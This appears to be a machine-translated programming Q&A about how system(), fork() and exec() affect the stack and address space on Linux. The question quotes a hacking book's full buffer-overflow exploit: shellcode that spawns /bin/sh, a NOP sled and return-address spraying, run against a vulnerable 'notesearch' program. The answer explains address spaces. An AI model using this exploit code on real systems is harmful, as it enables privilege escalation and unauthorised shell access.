我有一个关于Linux系统调用System()和堆栈的问题。 让我们假设我们有:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
char buff[] = "/usr/bin/ls"
system(buff);
return 0;
}
现在,由于system()函数生成一个fork()然后一个execl(),我的问题是:新进程的堆栈放在上面的main()附近,或者它可以在记忆中无处不在? 更一般地说:在这个简单的例子中,main()堆栈会发生什么?
此外,如果main()是:
,该怎么办?#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
char buff[] = "/usr/bin/ls"
execl(buff, 0);
return 0;
}
在这种情况下,由于没有调用fork(),函数execl()的堆栈应该定期放在main()的一个上面,对吗?
编辑: 如果main和system()执行的进程之间的虚拟地址空间不同,为什么这应该有效:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
我在一本关于黑客攻击的书上找到了它。这段代码仅仅是对缓冲区溢出的利用。它的目的是运行一个易受攻击的程序,它具有能够利用bof的ad-hoc参数,并运行shellcode。
在新进程中注入的shellcode的地址是使用局部变量的地址(在示例中为unisgned int i)作为基础和偏移量获得的。但是,如果两个进程的虚拟地址空间相同,这应该只能工作吗?
答案 0 :(得分:4)
使用exec
时,会替换进程的所有内存。堆栈,堆,一切。包含buff
的原始堆栈不再存在。
system
来电由fork
和exec
组成。 fork
创建一个新进程,它是原始进程的副本。 exec
然后替换新进程的内存。
使用exec
时,会创建一个新的进程地址空间。该地址空间由内核管理的各种空闲内存块组合而成。这是一个新的虚拟地址空间。新进程的物理内存与旧进程的关系正是内核决定的。但由于新地址空间是虚拟的,因此它与父进程的地址空间无关。即使您知道父进程中buff
的地址并且可以将该地址传递给子进程,该地址对子进程也没有意义。